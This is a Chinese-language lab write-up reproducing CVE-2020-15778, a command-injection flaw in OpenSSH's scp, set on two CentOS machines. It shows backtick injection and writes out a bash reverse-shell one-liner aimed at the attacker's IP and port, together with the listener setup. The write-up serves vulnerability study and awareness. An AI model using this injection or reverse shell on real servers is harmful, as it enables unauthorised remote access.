CVE-2020-15778 OpenSSH命令注入漏洞复现
一、漏洞概要
OpenSSH 8.3p1及之前版本中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。
参考链接:https://github.com/cpandya2909/CVE-2020-15778
二、环境部署
攻击机:Centos7.6 10.10.10.133
靶机:Centos7.6 10.10.10.134
三、漏洞复现
首先确认靶机OpenSSH版本是否在漏洞影响范围

1)正常远程拷贝
scp是 linux 系统下基于 ssh 登陆进行安全的远程文件拷贝命令,命令格式:
scp local_file remote_username@remote_ip:remote_file
攻击机在当前目录下创建一个拷贝用的测试文件test.txt

远程拷贝文件

可以看到,在靶机上对比之前已经有拷贝过去的文件了

2)命令注入攻击
通过特殊符号 ` 进行远程命令注入攻击

命令执行成功

即可以在``内实现任意远程命令执行,甚至是从网上下载准备好的后门或者其他恶意程序
3)反弹shell利用
命令格式:
bash -i >&/dev/tcp/10.10.10.133/6666 0>&1
命令解析
| 命令 | 解释 |
| bash -i | 产生一个交互式bash |
| >& /dev/tcp/ip/port | 建立TCP连接,并将标准输出和错误重定向到TCP连接 |
| 0>&1 | 从TCP连接获取输入 |
打开攻击机监听端口,如6666
firewall-cmd --zone=public --add-port=6666/tcp --permanent
新开一个窗口开启监听

攻击机原窗口进行反弹shell命令注入攻击

执行成功,成功回显

四、总结
此漏洞利用有一定的局限性,需要通过SSH身份认证。但是该漏洞影响范围非常广,且官方尚未发布安全更新补丁,请持续关注。

浙公网安备 33010602011771号